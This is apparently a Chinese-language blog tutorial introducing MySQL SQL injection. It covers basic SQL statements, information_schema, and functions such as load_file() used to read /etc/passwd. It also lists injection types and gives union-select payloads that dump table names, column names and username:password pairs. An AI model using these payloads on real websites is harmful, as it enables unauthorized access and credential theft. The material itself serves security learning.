MySQL注入前了解

  MySQL[1] 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 旗下公司。MySQL 最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。MySQL 所使用的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策(本词条“授权政策”),它分为社区版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。由于其社区版的性能卓越,搭配 PHP 和 Apache 可组成良好的开发环境。

常用语句

 

1:使用SHOW语句找出在服务器上当前存在什么数据库:

mysql> SHOW DATABASES;

2:创建一个数据库MYSQLDATA
mysql> CREATE DATABASE MYSQLDATA;

3:选择你所创建的数据库
mysql> USE MYSQLDATA; (按回车键出现Database changed 时说明操作成功!)

4:查看现在的数据库中存在什么表
mysql> SHOW TABLES;

5:创建一个数据库表
mysql> CREATE TABLE MYTABLE (name VARCHAR(20), sex CHAR(1));

6.导入.sql文件命令(例如D:/mysql.sql)
mysql>use database;
mysql>source d:/mysql.sql;

7.查删改添
SELECT 列名称 FROM 表名称 WHERE 字段1 = ‘条件1‘ AND 字段2 = ‘条件2‘
INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)
UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
DELETE FROM 表名称 WHERE 列名称 = 值

 

注入了解

在Mysql 5.0以上的版本中,为了方便管理,
默认定义了information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)。

在schemata表中,schema_name字段用来存储数据库名。

在tables表中,table_schema和table_name分别用来存储数据库名和表名

在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)

 

Mysql常用函数

eg: select user(); 

1:system_user() 系统用户名
2:user() 用户名
3:current_user() 当前用户名
4:session_user()连接数据库的用户名
5:database() 数据库名
6:version() MYSQL数据库版本
7:load_file() 转成16进制或者是10进制 MYSQL读取本地文件的函数  

  MySQL的load_file()函数可以用来获取部分系统信息
  mysql> select load_file(‘/etc/issue‘);

  备注:
  1.用MySQL的root用户可以获取到很多信息,甚至是/etc/ssh/sshd_config、/etc/passwd这类文件的信息,但MySQL的普通用户视乎不行
  2.load_file()函数中的pathname要用单引号括起来

8:@@datadir 读取数据库路径
9:@@basedir MYSQL 安装路径
10:@@version_compile_os 操作系统

MySQL注入前了解

 

 

注释
--%20,%23, --+, -- -,   /* */,   /*!*/

 

字符串连接函数

1. concat(str1,str2,...)——没有分隔符地连接字符串

2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串

3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

分隔符

0x3a --> :

0x2f --> /

0x7c --> |

0x7e --> ~

 

SQL注入分类

依据注入点类型分类

数字类型的注入 SELECT 列 FROM 表 WHERE 数字型列=值
字符串类型的注入 SELECT 列 FROM 表 WHERE 字符型列=‘值’
搜索型注入 SELECT * FROM 表 WHERE 被搜索列 LIKE ‘%值%’

依据提交方式分类

GET注入
POST注入
COOKIE注入
HTTP头注入(XFF注入、UA注入、REFERER注入)

依据获取信息的方式分类

联合查询注入
基于布尔的盲注
基于时间的盲注
基于报错的注入
堆查询注入 (可同时执行多条语句)

基于Get/Post(抓包)型的联合查询注入语句
1、利用order by 判断字段数。

2、利用union select 联合查询,获取表名。
0‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

3、利用union select 联合查询,获取字段名。
0‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users‘ --+

4、利用union select 联合查询,获取字段值。
0‘ union select 1,group_concat(username,0x3a,password),3 from users--+

 

 

MySQL注入前了解

上一篇:mysql:连接字符串函数concat()、concat_ws()、group_concat()区别


下一篇:Kubernetes 系列(八):Kubernetes的三种外部访问方式:NodePort、LoadBalancer和Ingress